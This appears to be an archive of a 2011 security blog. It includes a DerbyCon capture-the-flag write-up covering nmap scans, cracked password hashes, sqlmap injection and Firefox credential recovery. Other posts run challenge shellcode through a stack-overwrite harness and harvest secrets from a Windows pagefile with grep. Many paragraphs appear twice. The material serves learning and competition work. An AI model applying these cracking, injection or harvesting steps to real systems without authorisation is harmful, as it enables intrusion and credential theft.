Today, sinn3r checked my CorpWatch API modules into trunk. These aid in OSINT research for a company during an engagement.
Wednesday, December 28, 2011
New metasploit modules in trunk
Last night HDM checked in a telnetd remote root scanner and exploit module fore BSD-derived telnetd servers (this vuln affects telnet clients as well). We were up late last night working on it. Any testing is appreciated.
Today, sinn3r checked my CorpWatch API modules into trunk. These aid in OSINT research for a company during an engagement.
Today, sinn3r checked my CorpWatch API modules into trunk. These aid in OSINT research for a company during an engagement.
Tuesday, December 13, 2011
Finding all exploits with RPORT == X
This question comes up quite a bit in the IRC channel: How can I see all exploits for a given port? You can do it easily with IRB
Just replace 445 with the port you are looking for. If you want aux modules, you may replace framework.exploits with framework.auxiliary.
msf > irb >> framework.exploits.each_module { |n,e| x=e.new; print_good("#{e.fullname}: #{x.datastore['RPORT']}") if x.datastore['RPORT'].to_i == 445 }; nil
Just replace 445 with the port you are looking for. If you want aux modules, you may replace framework.exploits with framework.auxiliary.
Wednesday, November 30, 2011
Can you crack it? (nope, I tried though)
The UK govt created a challenge to find eligible code crackers. The website is http://www.canyoucrackit.co.uk/.
I got close, but my skills aren't up to par. Here is as far as I got. They give you the following code:
What jumps out at me first are the nops (90 90) in the last line. My mind automagically tells me this is shellcode. I wasn't 100% sure, but it was the only guess I had. I copied the code over into gedit, and made the following adjustments.
I then saved this into a shellcode.c file:
Running it simply returned the "done" being printed by printf. This told me that the shellcode was at least not crashing, so it was probably valid shellcode. Looks like my first impression was correct. So I jumped to the asm that the shellcode produced to get a better understanding of it:
Definitely legitimate shellcode. The x86 asm gcc spits out is exactly what I wanted to see. Not only that, but do you see the 0xdeadbeef?
Once I knew I was in the right direction, I loaded the binary into gdb. I through a breakpoint on the printf line with
Oh well. Maybe next time if I have more time I can get a bit further.
I got close, but my skills aren't up to par. Here is as far as I got. They give you the following code:
eb 04 af c2 bf a3 81 ec 00 01 00 00 31 c9 88 0c 0c fe c1 75 f9 31 c0 ba ef be ad de 02 04 0c 00 d0 c1 ca 08 8a 1c 0c 8a 3c 04 88 1c 04 88 3c 0c fe c1 75 e8 e9 5c 00 00 00 89 e3 81 c3 04 00 00 00 5c 58 3d 41 41 41 41 75 43 48 3d 42 42 42 42 75 3b 5a 89 d1 89 e6 89 df 29 cf f3 a4 89 de 89 d1 89 df 29 cf 31 c0 31 db 31 d2 fe c0 02 1c 06 8a 14 06 8a 34 1e 88 34 06 88 14 1e 00 f2 30 f6 8a 1c 16 8a 17 30 da 88 17 47 49 75 de 31 db 89 d8 fe c0 cd 80 90 90 e8 9d ff ff ff 41 41 41 41
What jumps out at me first are the nops (90 90) in the last line. My mind automagically tells me this is shellcode. I wasn't 100% sure, but it was the only guess I had. I copied the code over into gedit, and made the following adjustments.
\xeb\x04\xaf\xc2\xbf\xa3\x81\xec\x00\x01\x00\x00\x31\xc9\x88\x0c \x0c\xfe\xc1\x75\xf9\x31\xc0\xba\xef\xbe\xad\xde\x02\x04\x0c\x00 \xd0\xc1\xca\x08\x8a\x1c\x0c\x8a\x3c\x04\x88\x1c\x04\x88\x3c\x0c \xfe\xc1\x75\xe8\xe9\x5c\x00\x00\x00\x89\xe3\x81\xc3\x04\x00\x00 \x00\x5c\x58\x3d\x41\x41\x41\x41\x75\x43\x48\x3d\x42\x42\x42\x42 \x75\x3b\x5a\x89\xd1\x89\xe6\x89\xdf\x29\xcf\xf3\xa4\x89\xde\x89 \xd1\x89\xdf\x29\xcf\x31\xc0\x31\xdb\x31\xd2\xfe\xc0\x02\x1c\x06 \x8a\x14\x06\x8a\x34\x1e\x88\x34\x06\x88\x14\x1e\x00\xf2\x30\xf6 \x8a\x1c\x16\x8a\x17\x30\xda\x88\x17\x47\x49\x75\xde\x31\xdb\x89 \xd8\xfe\xc0\xcd\x80\x90\x90\xe8\x9d\xff\xff\xff\x41\x41\x41\x41
I then saved this into a shellcode.c file:
char shellcode[] = "\xeb\x04\xaf\xc2\xbf\xa3\x81\xec\x00\x01\x00\x00\x31\xc9\x88\x0c\x0c\xfe\xc1\x75\xf9\x31\xc0\xba\xef\xbe\xad\xde\x02\x04\x0c\x00\xd0\xc1\xca\x08\x8a\x1c\x0c\x8a\x3c\x04\x88\x1c\x04\x88\x3c\x0c\xfe\xc1\x75\xe8\xe9\x5c\x00\x00\x00\x89\xe3\x81\xc3\x04\x00\x00\x00\x5c\x58\x3d\x41\x41\x41\x41\x75\x43\x48\x3d\x42\x42\x42\x42\x75\x3b\x5a\x89\xd1\x89\xe6\x89\xdf\x29\xcf\xf3\xa4\x89\xde\x89\xd1\x89\xdf\x29\xcf\x31\xc0\x31\xdb\x31\xd2\xfe\xc0\x02\x1c\x06\x8a\x14\x06\x8a\x34\x1e\x88\x34\x06\x88\x14\x1e\x00\xf2\x30\xf6\x8a\x1c\x16\x8a\x17\x30\xda\x88\x17\x47\x49\x75\xde\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\x90\x90\xe8\x9d\xff\xff\xff\x41\x41\x41\x41"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; printf("done"); }
Running it simply returned the "done" being printed by printf. This told me that the shellcode was at least not crashing, so it was probably valid shellcode. Looks like my first impression was correct. So I jumped to the asm that the shellcode produced to get a better understanding of it:
0000000000601040: 601040: eb 04 jmp 601046 601042: af scas %es:(%rdi),%eax 601043: c2 bf a3 retq $0xa3bf 601046: 81 ec 00 01 00 00 sub $0x100,%esp 60104c: 31 c9 xor %ecx,%ecx 60104e: 88 0c 0c mov %cl,(%rsp,%rcx,1) 601051: fe c1 inc %cl 601053: 75 f9 jne 60104e 601055: 31 c0 xor %eax,%eax 601057: ba ef be ad de mov $0xdeadbeef,%edx 60105c: 02 04 0c add (%rsp,%rcx,1),%al 60105f: 00 d0 add %dl,%al 601061: c1 ca 08 ror $0x8,%edx 601064: 8a 1c 0c mov (%rsp,%rcx,1),%bl 601067: 8a 3c 04 mov (%rsp,%rax,1),%bh 60106a: 88 1c 04 mov %bl,(%rsp,%rax,1) 60106d: 88 3c 0c mov %bh,(%rsp,%rcx,1) 601070: fe c1 inc %cl 601072: 75 e8 jne 60105c 601074: e9 5c 00 00 00 jmpq 6010d5 601079: 89 e3 mov %esp,%ebx 60107b: 81 c3 04 00 00 00 add $0x4,%ebx 601081: 5c pop %rsp 601082: 58 pop %rax 601083: 3d 41 41 41 41 cmp $0x41414141,%eax 601088: 75 43 jne 6010cd 60108a: 48 3d 42 42 42 42 cmp $0x42424242,%rax 601090: 75 3b jne 6010cd 601092: 5a pop %rdx 601093: 89 d1 mov %edx,%ecx 601095: 89 e6 mov %esp,%esi 601097: 89 df mov %ebx,%edi 601099: 29 cf sub %ecx,%edi 60109b: f3 a4 rep movsb %ds:(%rsi),%es:(%rdi) 60109d: 89 de mov %ebx,%esi 60109f: 89 d1 mov %edx,%ecx 6010a1: 89 df mov %ebx,%edi 6010a3: 29 cf sub %ecx,%edi 6010a5: 31 c0 xor %eax,%eax 6010a7: 31 db xor %ebx,%ebx 6010a9: 31 d2 xor %edx,%edx 6010ab: fe c0 inc %al 6010ad: 02 1c 06 add (%rsi,%rax,1),%bl 6010b0: 8a 14 06 mov (%rsi,%rax,1),%dl 6010b3: 8a 34 1e mov (%rsi,%rbx,1),%dh 6010b6: 88 34 06 mov %dh,(%rsi,%rax,1) 6010b9: 88 14 1e mov %dl,(%rsi,%rbx,1) 6010bc: 00 f2 add %dh,%dl 6010be: 30 f6 xor %dh,%dh 6010c0: 8a 1c 16 mov (%rsi,%rdx,1),%bl 6010c3: 8a 17 mov (%rdi),%dl 6010c5: 30 da xor %bl,%dl 6010c7: 88 17 mov %dl,(%rdi) 6010c9: 47 rex.RXB 6010ca: 49 75 de rex.WB jne 6010ab 6010cd: 31 db xor %ebx,%ebx 6010cf: 89 d8 mov %ebx,%eax 6010d1: fe c0 inc %al 6010d3: cd 80 int $0x80 6010d5: 90 nop 6010d6: 90 nop 6010d7: e8 9d ff ff ff callq 601079 6010dc: 41 rex.B 6010dd: 41 rex.B 6010de: 41 rex.B 6010df: 41 00 00 add %al,(%r8)
Definitely legitimate shellcode. The x86 asm gcc spits out is exactly what I wanted to see. Not only that, but do you see the 0xdeadbeef?
Once I knew I was in the right direction, I loaded the binary into gdb. I through a breakpoint on the printf line with
break printfand ran the binary. I looked at the stack frame, traversed through the memory and found the strings I suspected were what we were supposed to be looking for. However, they seemed to be all multi-byte characters. I wasn't able to decipher any of them within the time limit. I had found out about the contest about 2 hours before it was over. This took me about an hour to get to traversing the stack for the strings, and I got stuck.
Oh well. Maybe next time if I have more time I can get a bit further.
Saturday, November 26, 2011
Easily splitting and storing traceroute data
Traceroute is very useful, but the data it spits out can be a bit tough to chew on. I came up with this one-liner to make it more CSV compatible so you can Split() on commas and have the correct data where you expect it.
traceroute google.com | sed 's/ /,/g' | sed 's/ ms / ms,/g'This take load balancers into account as well, so when your route slightly changes during a hop, you can still easily grok the data coming back. Basically, take double-spaces and replace them with a comma. The second sed is what takes the load balancers into account, fixing the output so it is the same as the prior hop test.
Tuesday, November 22, 2011
My NHibernate Configuration for Mono and PostgreSQL
I love C#. It is by far my favorite language. I have been using mono to write C# application on linux for a few years now.
Ruby is growing on me, but only because of Metasploit. I wouldn't even bother with Ruby if it weren't for MSF. Generally, I switch back and forth between C# and Ruby (and, coincidentally, Monodevelop and vim respectively) a few times a day, or even going at both at the same time.
One of my personal projects requires a lot of DB stuff. At a previous job, I was introduced to NHibernate, this is by far the easiest way to manage your DB objects within your code. While this job was Windows centric (MSSQL, visual studio, etc...), I have adapted what I learned to Linux as well. I like PostgreSQL more than I like MySQL, and am very happy that NHibernate supports this dialect. It wasn't straight forward, though, figuring out the exact details. Maybe this will help someone in the same boat I am in.
The most important thing is you hibernate.hbm.xml. This is where you SQL connection string is, and where you tell NHibernate what dialect of SQL you are using:
This requires Npgsql.dll, which runs with Mono just fine. The small detail that caused me much stress early on was the dialect property name.
At first, I was missing the "82" in the middle of the dialect name. This defaults to PostgreSQL 7.4. I am running 8.4, and there were incompatibilities that caused issues. After a day or two, I finally figured out what was causing my problems.
I hope this helps others.
Ruby is growing on me, but only because of Metasploit. I wouldn't even bother with Ruby if it weren't for MSF. Generally, I switch back and forth between C# and Ruby (and, coincidentally, Monodevelop and vim respectively) a few times a day, or even going at both at the same time.
One of my personal projects requires a lot of DB stuff. At a previous job, I was introduced to NHibernate, this is by far the easiest way to manage your DB objects within your code. While this job was Windows centric (MSSQL, visual studio, etc...), I have adapted what I learned to Linux as well. I like PostgreSQL more than I like MySQL, and am very happy that NHibernate supports this dialect. It wasn't straight forward, though, figuring out the exact details. Maybe this will help someone in the same boat I am in.
The most important thing is you hibernate.hbm.xml. This is where you SQL connection string is, and where you tell NHibernate what dialect of SQL you are using:
<?xml version="1.0" encoding="utf-8"?> <hibernate-configuration xmlns="urn:nhibernate-configuration-2.2" > <session-factory> <property name="connection.provider">NHibernate.Connection.DriverConnectionProvider</property> <property name="connection.driver_class">NHibernate.Driver.NpgsqlDriver</property> <property name="connection.connection_string"> Server=192.168.1.156;Port=5432;Database=pgdb;User Id=postgres;Password=postgres;SSL=true; </property> <property name="dialect">NHibernate.Dialect.PostgreSQL82Dialect</property> <property name='proxyfactory.factory_class'>NHibernate.ByteCode.LinFu.ProxyFactoryFactory, NHibernate.ByteCode.LinFu</property> </session-factory> </hibernate-configuration>
This requires Npgsql.dll, which runs with Mono just fine. The small detail that caused me much stress early on was the dialect property name.
<property name="dialect">NHibernate.Dialect.PostgreSQL82Dialect</property>
At first, I was missing the "82" in the middle of the dialect name. This defaults to PostgreSQL 7.4. I am running 8.4, and there were incompatibilities that caused issues. After a day or two, I finally figured out what was causing my problems.
I hope this helps others.
Tuesday, November 15, 2011
Metasploit and the Penetration Testing Execution Standard
I was recently asked to map out the Metasploit Framework's functionality with the PTES.
Have a look at the whitepaper, if you are interested in Metasploit or network security, it should be a great read.
www.tinyurl.com/msf-ptes
Have a look at the whitepaper, if you are interested in Metasploit or network security, it should be a great read.
www.tinyurl.com/msf-ptes
Saturday, November 12, 2011
CorpWatch API integration with Metasploit: Information Gathering
I have submitted two modules today to the Metasploit redmine that allow integration of the CorpWatch API. They are very neat modules, allowing you to bring in information from SEC EDGAR straight into Metasploit without leaving the console. You can find and research parent and child companies, view past addresses, past names, SEC filings, all sorts of valuable information with gathering information on a company during an engagement.
Here is an example run: http://pastebin.com/d9MKjiQ2
Hopefully these modules will hit trunk soon, but if you want to play with them now, the diff is taken from the framework root.
Here is an example run: http://pastebin.com/d9MKjiQ2
Hopefully these modules will hit trunk soon, but if you want to play with them now, the diff is taken from the framework root.
Monday, October 10, 2011
On Information Leakage/Disclosure and Responsibilty
I enjoy helping people. I enjoy helping them learn, and helping them not make mistakes. Sometimes, however, I find mistakes people have made and am told to walk away from them.
Whenever I find a security hole in a website, I don't always have permission to look at it and exploit it. I _never_ do damage to systems I find security holes in. I tell the appropriate people what I have found, how I found it, how to resolve it, and make sure they understand I had no ill intent.
I have found security holes (usually SQL injections) in very large website that deal with customer data, online shopping, etc. I have even found SQL injections in government websites. I am told by seasoned professionals in the security field that the best thing to do when finding these holes is to walk away and pretend like I never found them. Companies love suing people, and governments love imprisoning people.
I feel like this is completely irresponsible. It is absolutely contrary to what I was taught growing up. If I can help a company out by pinpointing their flaws before an attacker does, I should not fear being sued or imprisoned. I consider it a matter of Good Samaritanism. You don't imprison or sue those trying to help you.
Whenever I find a security hole in a website, I don't always have permission to look at it and exploit it. I _never_ do damage to systems I find security holes in. I tell the appropriate people what I have found, how I found it, how to resolve it, and make sure they understand I had no ill intent.
I have found security holes (usually SQL injections) in very large website that deal with customer data, online shopping, etc. I have even found SQL injections in government websites. I am told by seasoned professionals in the security field that the best thing to do when finding these holes is to walk away and pretend like I never found them. Companies love suing people, and governments love imprisoning people.
I feel like this is completely irresponsible. It is absolutely contrary to what I was taught growing up. If I can help a company out by pinpointing their flaws before an attacker does, I should not fear being sued or imprisoned. I consider it a matter of Good Samaritanism. You don't imprison or sue those trying to help you.
Tuesday, October 4, 2011
Analyzing the Windows pagefile.sys from GNU/Linux
Problem: Given a pagefile.sys, how much information can you gain about the victim?
Hints: The pagefile.sys is stored as a bunch of 4k blocks. It is "virtual memory".
NOTE: You could find a lot of paths referencing "d:\nt\base\random\path\to\src.c". These seem to be related to the drivers being loaded into memory and being pushed to the pagefile.
---------------
You will invariably get a lot of false positives with this one. But a lot of good information as well.
----------------
There is a lot of good information that can be found that regular expressions simply can't pick up (or I just didn't think of).
-----------
One thing you can do to help protect youself is looking at this kb on how to wipe your pagefile on shutdown. A simple registry tweak is all it takes.
If you have shell on the victim, using
FTA:
Change the data value of the ClearPageFileAtShutdown value in the following registry key to a value of 1:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
If the value does not exist, add the following value:
Value Name: ClearPageFileAtShutdown
Value Type: REG_DWORD
Value: 1
Hints: The pagefile.sys is stored as a bunch of 4k blocks. It is "virtual memory".
strings pagefile.sys | grep -i "^[a-z]:\\\\" | sort | uniq | less #List all paths in pagefile
NOTE: You could find a lot of paths referencing "d:\nt\base\random\path\to\src.c". These seem to be related to the drivers being loaded into memory and being pushed to the pagefile.
---------------
strings pagefile.sys | grep -i "^[a-zA-Z09_]*=.*" | sort -u | uniq | less #print env vars
You will invariably get a lot of false positives with this one. But a lot of good information as well.
----------------
strings pagefile.sys | egrep '([[:alnum:]_.-]{1,64}+@[[:alnum:]_.-]{2,255}+?\.[[:alpha:].]{2,4})' #print all email addresses.
There is a lot of good information that can be found that regular expressions simply can't pick up (or I just didn't think of).
-----------
One thing you can do to help protect youself is looking at this kb on how to wipe your pagefile on shutdown. A simple registry tweak is all it takes.
If you have shell on the victim, using
meterpreter
you can find out the values of this key using this:
reg enumkey -k
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory Management
FTA:
Change the data value of the ClearPageFileAtShutdown value in the following registry key to a value of 1:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
If the value does not exist, add the following value:
Value Name: ClearPageFileAtShutdown
Value Type: REG_DWORD
Value: 1
Monday, October 3, 2011
DerbyCon CTF Results and Notes
This weekend I attended DerbyCon, a hacker convention being held for its first time in Louisville, Kentucky. It had great talks by industry heavyweights in security, and a really awesome and fun CTF game. Initially, I wasn't even planning on playing the CTF. I had never done anything like the CTF before, and expected to be trounced. As it turns out though, a friend of mine, TheLightCosine, and I were bored and decided to check it out. TheLightCosine was actually taking Win32 exploit development training from corelanc0der and wasn't able to compete very much. Even when not in training, his brain was fried. The training was a bootcamp. With some help from TheLightCosine, however, I was able to place 5th on the CTF. Next year, I plan to be more organized and take the game a bit more seriously. All the notes I list here were just kept in my head, so I may miss a few things. This is also an abridged version.
The rules were simple. A small network was setup (derbycon_ctf) with no internet connection. There were two public targets that you were allowed to hack on (10.1.1.15,10.1.1.16), and one public target that was off limits (10.1.1.10). The latter was where the scoreboard resided and where you submitted your flags for your points.
The first thing I did when joining was nmapping the two targets that we were allowed to hack.
This gave me an initial idea of what services the boxen were running. 10.1.1.15 had ports 80, 13370, and 3389. 10.1.1.16 was running 21,80,443, and 3389. Both were windows 2003 boxes. Occasionally, ports 23, 25, and 1337 would open on 10.1.1.16. This really confused me, but I assumed right off the bat that they were actually netcat listeners. I was never able to connect to one as someone always found them before I did. During the closing ceremonies, when the CTF prizes were given out, my assumption was confirmed by the CTF admins. They were netcat listeners.
One of the most important stages when hacking into machines like this is simple information gathering. We have HTTP/S ports, we have FTP, and we have MS Terminal Services. It turns out that port 13370 on 10.1.1.15 is also HTTP. The SSL Certificate for the HTTPS port on 10.1.1.16 was invalid, something to note for later use.
First things first, I hit up the ftp port. 'Lo and behold, a flag was waiting for me in the banner (Flag=AnonymousFTP). Logging in I found about 10 or so files on the ftp and two folders. One folder was locked down, I couldn't get in. The other, however, contained a text file with usernames and hashes. Other files on the root of the ftp were firefox databases for saved credentials, an .NET exe that you were required to reverse engineer (I almost figured this one out), a pcap file, and a file with a .docx extension (though it is just a plain text file). I downloaded these files to a local folder for later processing. My first action was to crack those hashes I found on the ftp server. I used john for this.
This gave me credentials to work with now. None of these creds allowed me to get into the locked folder on ftp like I expected. I set these aside for later use. Once I had these, I decided to take a look at the terminal services ports. I used
10.1.1.16:80 gave two flags actually. One in the title of the index page, and one as an HTML comment. Super easy stuff. 10.1.1.16:80 also gives you a url to 10.1.1.15:13370/upload/upload.aspx. I wasn't able to break this script and get the flag I wanted.
Before I forget, one of the files on the FTP root was a file called qr.jpg. opening this up and reading the qr code with my phone yielded a flag. Dumping the exif data showed and interesting sup3rs3cr3tk3y string, apparently this was a flag, but it was not as apparent as the rest. When I found this out, I /headdesk'ed.
If you go to the HTTP root of 10.1.1.15:13370, you find a replica of the derbycon.com website. It is slightly altered however, a few flags are thrown around inside and in cookies. There is also a new News page, which I figured out a sql injection for to receive another flag. Thankfully, TheLightCosine showed me how to save the post request with the sql injection via burpsuite and pass the request to sqlmap. This was a gold mine, giving me many more flags. I missed one however, and I have no idea where it would have been. It also turns out the version of sqlmap in the Ubuntu repos is very old. I needed to download the latest release from sourceforge in order to use this functionality (the -r flag in sqlmap). Also on this news page was an HTML comment with some credentials. I found this very early on and tried it on the FTP with no success. This bothered me because the credentials were ftpuser:ThisWillGetYouIn. It turns out the admins mistyped the username. It was supposed to be ftpadmin:ThisWillGetYouIn. Once they realised what happened, they updated the scoreboard with some vague information about an FTP credential on the site being fixed. I saw this, went back and grabbed the new creds. This worked on the FTP and got me into the folder I was not allowed in earlier. Inside the folder was a textfile with another flag.
I also remembered at this point I had yet to look at the robots.txt file on any of the web servers. This also led to two flags being found. One in the robots.txt file itself, and one that was referenced by the robots.txt.
While I let sqlmap dump what it found, I decided to go ahead and look at the files I got off ftp one more time. Three files jumped out at me. signons.sqlite, cert8.db and keey3.db. These files are how Firefox stores its stored credentials. I don't use firefox, and actually uninstalled it quite a long time ago off my netbook. I installed it, dropped the files into my user profile, went to Properties > Security > Show passwords in firefox and got another flag.
One thing I found in the /download folder of 10.1.1.15:13370 was a testkey.pem.txt. This was a private key. The pcap file on the ftp had SSL traffic in it, so TheLightCosine showed me how to decrypt the SSL traffic in the pcap file through wireshark. Once decrypted we found another flag. However, I felt like there was more to this pcap file than met the eye. I ran the pcap file through
At this point, I felt like I had exhausted the web servers for clues. I decided to run nikto on each port offering HTTP on both 10.1.1.15 and 10.1.1.16. This yielded a flag in the SSL cert and a vulnerable version of FCKeditor which I was unable to pop. During the closing ceremonies, the admins also showed us a file that nobody had gotten. A web.config.txt was sitting on the root of one of the web servers.
At this point, I turned my attention to the .NET exe. I was able to use mono to run it.
I decided to see what happened when I passed it an argument.
Interesting, so it recognizes an argument was passed and changes its output. At this point I decided to disassemble the executable using monodis.
I immediately notice that it stores an MD5 hash in a string, and another string that appears to in base64. Following the logic, I realised that it took the argument, md5'd it and compared the result to the stored md5 sum. If it matched, it would print the base64 string and tell you to fix it. Technically, you don't even need to know what the argument it is expecting is, but I wanted to be thorough. The md5sum is an md5sum of the string 'kc57' (one of the CTF admins @_kc57).
This string stumped me. I spent too much time on it and probably went every way I shouldn't have in order to figure it out. I never did.
I look forward to competing next year. TheLightCosine and I will probably team up for real and pwn some pants of.
The rules were simple. A small network was setup (derbycon_ctf) with no internet connection. There were two public targets that you were allowed to hack on (10.1.1.15,10.1.1.16), and one public target that was off limits (10.1.1.10). The latter was where the scoreboard resided and where you submitted your flags for your points.
The first thing I did when joining was nmapping the two targets that we were allowed to hack.
nmap -sS -O -PN -PU 10.1.1.15,16
This gave me an initial idea of what services the boxen were running. 10.1.1.15 had ports 80, 13370, and 3389. 10.1.1.16 was running 21,80,443, and 3389. Both were windows 2003 boxes. Occasionally, ports 23, 25, and 1337 would open on 10.1.1.16. This really confused me, but I assumed right off the bat that they were actually netcat listeners. I was never able to connect to one as someone always found them before I did. During the closing ceremonies, when the CTF prizes were given out, my assumption was confirmed by the CTF admins. They were netcat listeners.
One of the most important stages when hacking into machines like this is simple information gathering. We have HTTP/S ports, we have FTP, and we have MS Terminal Services. It turns out that port 13370 on 10.1.1.15 is also HTTP. The SSL Certificate for the HTTPS port on 10.1.1.16 was invalid, something to note for later use.
First things first, I hit up the ftp port. 'Lo and behold, a flag was waiting for me in the banner (Flag=AnonymousFTP). Logging in I found about 10 or so files on the ftp and two folders. One folder was locked down, I couldn't get in. The other, however, contained a text file with usernames and hashes. Other files on the root of the ftp were firefox databases for saved credentials, an .NET exe that you were required to reverse engineer (I almost figured this one out), a pcap file, and a file with a .docx extension (though it is just a plain text file). I downloaded these files to a local folder for later processing. My first action was to crack those hashes I found on the ftp server. I used john for this.
root@gits-and-shiggles:/home/upgraydd/Pictures/hidden# john --show secretdata
Administrator:NO PASSWORD:500:28361B9A6A28663E73EB37AA1787B284:::
derbycon:KENTUCKY:1012:8CFC8328E285BAE5702FB32AE7C95F87:::
ftpuser:FTP1:1013:2AED8B7C119F79B4F81D3FF9EB1760F3:::
jamesbond:007:1015:0B0412D8761239A73143EFAE928E9F0A:::
root:TOOR:1014:AFC44EE7351D61D00698796DA06B1EBF:::
sqldb:NO PASSWORD:1007:9CB9DCE36C9566A195A42282ADC6A404:::
texasranger:CHUCKNORRIS:1016:167A7A68DEA1D4FBD7B3F4F444690F24:::
9 password hashes cracked, 0 left
root@gits-and-shiggles:/home/upgraydd/Pictures/hidden#
This gave me credentials to work with now. None of these creds allowed me to get into the locked folder on ftp like I expected. I set these aside for later use. Once I had these, I decided to take a look at the terminal services ports. I used
tsclient
to connect to both 10.1.1.15 and 10.1.1.16. This gave a me a flag, but none of my credentials worked to log in. The flag, interestingly enough, was WasteOfTime. I decided to start perusing the http ports next.10.1.1.16:80 gave two flags actually. One in the title of the index page, and one as an HTML comment. Super easy stuff. 10.1.1.16:80 also gives you a url to 10.1.1.15:13370/upload/upload.aspx. I wasn't able to break this script and get the flag I wanted.
Before I forget, one of the files on the FTP root was a file called qr.jpg. opening this up and reading the qr code with my phone yielded a flag. Dumping the exif data showed and interesting sup3rs3cr3tk3y string, apparently this was a flag, but it was not as apparent as the rest. When I found this out, I /headdesk'ed.
If you go to the HTTP root of 10.1.1.15:13370, you find a replica of the derbycon.com website. It is slightly altered however, a few flags are thrown around inside and in cookies. There is also a new News page, which I figured out a sql injection for to receive another flag. Thankfully, TheLightCosine showed me how to save the post request with the sql injection via burpsuite and pass the request to sqlmap. This was a gold mine, giving me many more flags. I missed one however, and I have no idea where it would have been. It also turns out the version of sqlmap in the Ubuntu repos is very old. I needed to download the latest release from sourceforge in order to use this functionality (the -r flag in sqlmap). Also on this news page was an HTML comment with some credentials. I found this very early on and tried it on the FTP with no success. This bothered me because the credentials were ftpuser:ThisWillGetYouIn. It turns out the admins mistyped the username. It was supposed to be ftpadmin:ThisWillGetYouIn. Once they realised what happened, they updated the scoreboard with some vague information about an FTP credential on the site being fixed. I saw this, went back and grabbed the new creds. This worked on the FTP and got me into the folder I was not allowed in earlier. Inside the folder was a textfile with another flag.
I also remembered at this point I had yet to look at the robots.txt file on any of the web servers. This also led to two flags being found. One in the robots.txt file itself, and one that was referenced by the robots.txt.
While I let sqlmap dump what it found, I decided to go ahead and look at the files I got off ftp one more time. Three files jumped out at me. signons.sqlite, cert8.db and keey3.db. These files are how Firefox stores its stored credentials. I don't use firefox, and actually uninstalled it quite a long time ago off my netbook. I installed it, dropped the files into my user profile, went to Properties > Security > Show passwords in firefox and got another flag.
One thing I found in the /download folder of 10.1.1.15:13370 was a testkey.pem.txt. This was a private key. The pcap file on the ftp had SSL traffic in it, so TheLightCosine showed me how to decrypt the SSL traffic in the pcap file through wireshark. Once decrypted we found another flag. However, I felt like there was more to this pcap file than met the eye. I ran the pcap file through
strings
and ended up finding yet another flag. At this point, I felt like I had exhausted the web servers for clues. I decided to run nikto on each port offering HTTP on both 10.1.1.15 and 10.1.1.16. This yielded a flag in the SSL cert and a vulnerable version of FCKeditor which I was unable to pop. During the closing ceremonies, the admins also showed us a file that nobody had gotten. A web.config.txt was sitting on the root of one of the web servers.
At this point, I turned my attention to the .NET exe. I was able to use mono to run it.
root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe
WARNING: The runtime version supported by this application is unavailable.
Using default runtime: v1.1.4322
No flag for you.
root@gits-and-shiggles:/home/upgraydd/Pictures#
I decided to see what happened when I passed it an argument.
root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe fdjskla
WARNING: The runtime version supported by this application is unavailable.
Using default runtime: v1.1.4322
Try Harder N00b.
root@gits-and-shiggles:/home/upgraydd/Pictures#
Interesting, so it recognizes an argument was passed and changes its output. At this point I decided to disassemble the executable using monodis.
WARNING: The runtime version supported by this application is unavailable.
Using default runtime: v1.1.4322
.assembly extern mscorlib
{
.ver 4:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Core
{
.ver 4:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly 'fu'
{
.custom instance void [mscorlib]System.Runtime.Versioning.TargetFrameworkAttribute::.ctor(string) = (
01 00 29 2E 4E 45 54 46 72 61 6D 65 77 6F 72 6B // ..).NETFramework
2C 56 65 72 73 69 6F 6E 3D 76 34 2E 30 2C 50 72 // ,Version=v4.0,Pr
6F 66 69 6C 65 3D 43 6C 69 65 6E 74 01 00 54 0E // ofile=Client..T.
14 46 72 61 6D 65 77 6F 72 6B 44 69 73 70 6C 61 // .FrameworkDispla
79 4E 61 6D 65 1F 2E 4E 45 54 20 46 72 61 6D 65 // yName..NET Frame
77 6F 72 6B 20 34 20 43 6C 69 65 6E 74 20 50 72 // work 4 Client Pr
6F 66 69 6C 65 ) // ofile
.custom instance void class [mscorlib]System.Reflection.AssemblyTitleAttribute::'.ctor'(string) = (01 00 07 64 72 6F 70 70 65 72 00 00 ) // ...dropper..
.custom instance void class [mscorlib]System.Reflection.AssemblyDescriptionAttribute::'.ctor'(string) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Reflection.AssemblyConfigurationAttribute::'.ctor'(string) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Reflection.AssemblyCompanyAttribute::'.ctor'(string) = (01 00 09 4D 69 63 72 6F 73 6F 66 74 00 00 ) // ...Microsoft..
.custom instance void class [mscorlib]System.Reflection.AssemblyProductAttribute::'.ctor'(string) = (01 00 07 64 72 6F 70 70 65 72 00 00 ) // ...dropper..
.custom instance void class [mscorlib]System.Reflection.AssemblyCopyrightAttribute::'.ctor'(string) = (
01 00 1B 43 6F 70 79 72 69 67 68 74 20 C2 A9 20 // ...Copyright ..
4D 69 63 72 6F 73 6F 66 74 20 32 30 31 31 00 00 ) // Microsoft 2011..
.custom instance void class [mscorlib]System.Reflection.AssemblyTrademarkAttribute::'.ctor'(string) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Runtime.InteropServices.ComVisibleAttribute::'.ctor'(bool) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Runtime.InteropServices.GuidAttribute::'.ctor'(string) = (
01 00 24 65 34 65 37 63 61 36 63 2D 63 32 61 62 // ..$e4e7ca6c-c2ab
2D 34 32 34 32 2D 61 33 65 35 2D 34 63 39 33 33 // -4242-a3e5-4c933
63 37 30 65 66 62 30 00 00 ) // c70efb0..
.custom instance void class [mscorlib]System.Reflection.AssemblyFileVersionAttribute::'.ctor'(string) = (01 00 07 31 2E 30 2E 30 2E 30 00 00 ) // ...1.0.0.0..
